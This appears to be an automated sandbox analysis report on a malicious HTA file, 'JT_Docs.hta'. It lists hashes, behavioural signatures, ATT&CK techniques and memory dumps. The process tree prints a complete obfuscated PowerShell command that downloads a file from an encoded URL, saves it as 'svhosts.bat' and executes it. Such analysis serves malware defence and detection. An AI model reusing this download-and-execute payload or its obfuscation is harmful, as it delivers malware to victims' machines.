265f353a79c0781e17204623553f5ec3d358315f22b1d85bafc247e89774509e

Analysis

max time kernel
112s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
05-01-2023 14:22

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General

Target

JT_Docs.hta
Size

150KB
MD5

35a9a6433a12fe8fb4ebfa0a16f76f4a
SHA1

63ed3556dbed1ce1446c906b926a621c378bbb62
SHA256

265f353a79c0781e17204623553f5ec3d358315f22b1d85bafc247e89774509e
SHA512

19a9b0c57f800eac64de911b239bdb94dc03d970589a0e90de5640beb84c80dcd907d7bc8bf973f4024ade15fbf7c7475be7ec1ad98dfab72d179694a67dbe93
SSDEEP

1536:EoNuWWs3uWWwhiXHWX9ivXV5W7X3q7y99ZZrrZb7/+9XSXEsbXuiusEdu3SiOb5s:Eo

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	3688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 3688	1080	mshta.exe	82
PID 1080 wrote to memory of 3688	1080	mshta.exe	82
PID 1080 wrote to memory of 3688	1080	mshta.exe	82

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\JT_Docs.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function vTfah($xQudNzEj, $OFweEKg){[IO.File]::WriteAllBytes($xQudNzEj, $OFweEKg)};function IEtfY($xQudNzEj){if($xQudNzEj.EndsWith((yGQSet @(15626,15680,15688,15688))) -eq $True){Start-Process (yGQSet @(15694,15697,15690,15680,15688,15688,15631,15630,15626,15681,15700,15681)) $xQudNzEj}else{Start-Process $xQudNzEj}};function bZmJux($pVbtIjHBE){$QTuDPuAwz = New-Object (yGQSet @(15658,15681,15696,15626,15667,15681,15678,15647,15688,15685,15681,15690,15696));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OFweEKg = $QTuDPuAwz.DownloadData($pVbtIjHBE);return $OFweEKg};function yGQSet($mSphbW){$TdkvfmoLP=15580;$lmVbKAnzp=$Null;foreach($GsSYfGNP in $mSphbW){$lmVbKAnzp+=[char]($GsSYfGNP-$TdkvfmoLP)};return $lmVbKAnzp};function nRSqmFi(){$CZtjuCtmV = $env:APPDATA + '\';$ryrbnkPg = bZmJux (yGQSet @(15684,15696,15696,15692,15638,15627,15627,15692,15694,15685,15698,15677,15696,15681,15695,15681,15679,15697,15694,15681,15680,15626,15680,15697,15679,15687,15680,15690,15695,15626,15691,15694,15683,15627,15679,15685,15701,15698,15627,15695,15698,15684,15691,15695,15696,15695,15626,15678,15677,15696));$IGRwg = $CZtjuCtmV + 'svhosts.bat';vTfah $IGRwg $ryrbnkPg;IEtfY $IGRwg;;;;}nRSqmFi;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3688-132-0x0000000000000000-mapping.dmp

Download
memory/3688-133-0x0000000004C50000-0x0000000004C86000-memory.dmp

Filesize
216KB

Download
memory/3688-134-0x00000000052C0000-0x00000000058E8000-memory.dmp

Filesize
6.2MB

Download
memory/3688-135-0x0000000005950000-0x0000000005972000-memory.dmp

Filesize
136KB

Download
memory/3688-136-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Filesize
408KB

Download
memory/3688-137-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Filesize
408KB

Download
memory/3688-138-0x00000000061D0000-0x00000000061EE000-memory.dmp

Filesize
120KB

Download
memory/3688-139-0x0000000007850000-0x0000000007ECA000-memory.dmp

Filesize
6.5MB

Download
memory/3688-140-0x0000000006770000-0x000000000678A000-memory.dmp

Filesize
104KB

Download
memory/3688-141-0x0000000007730000-0x00000000077C6000-memory.dmp

Filesize
600KB

Download
memory/3688-142-0x00000000076D0000-0x00000000076F2000-memory.dmp

Filesize
136KB

Download
memory/3688-143-0x0000000008480000-0x0000000008A24000-memory.dmp

Filesize
5.6MB

Download